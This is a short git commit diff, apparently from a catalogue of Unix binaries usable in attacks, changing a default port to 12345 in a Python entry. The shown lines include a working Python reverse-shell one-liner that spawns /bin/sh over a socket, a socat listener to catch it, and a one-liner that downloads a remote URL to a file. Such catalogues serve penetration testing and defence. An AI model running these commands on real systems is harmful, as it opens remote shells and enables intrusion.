Replace default port number with 12345

This commit is contained in:
Emilio Pinna
2018-05-23 08:08:13 +01:00
parent 793cd12812
commit 0a5168dc9a
11 changed files with 36 additions and 36 deletions

View File

@@ -23,10 +23,10 @@ functions:
export LFILE=file_to_get
python -c 'import urllib as u,os.environ as e;u.urlretrieve(e["URL"], e["LFILE"])'
reverse-shell:
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:8000</code> to receive the shell on the other end.
- description: Run <code>socat file:`tty`,raw,echo=0 tcp-listen:12345</code> to receive the shell on the other end.
code: |
export RHOST=127.0.0.1
export RPORT=8000
export RPORT=12345
python -c 'import sys,socket,os,pty;s=socket.socket(); s.connect((os.getenv("RHOST"),int(os.getenv("RPORT")))); [os.dup2(s.fileno(),fd) for fd in (0,1,2)]; pty.spawn("/bin/sh")'
load-library:
- code: python -c 'from ctypes import cdll; cdll.LoadLibrary("lib.so")'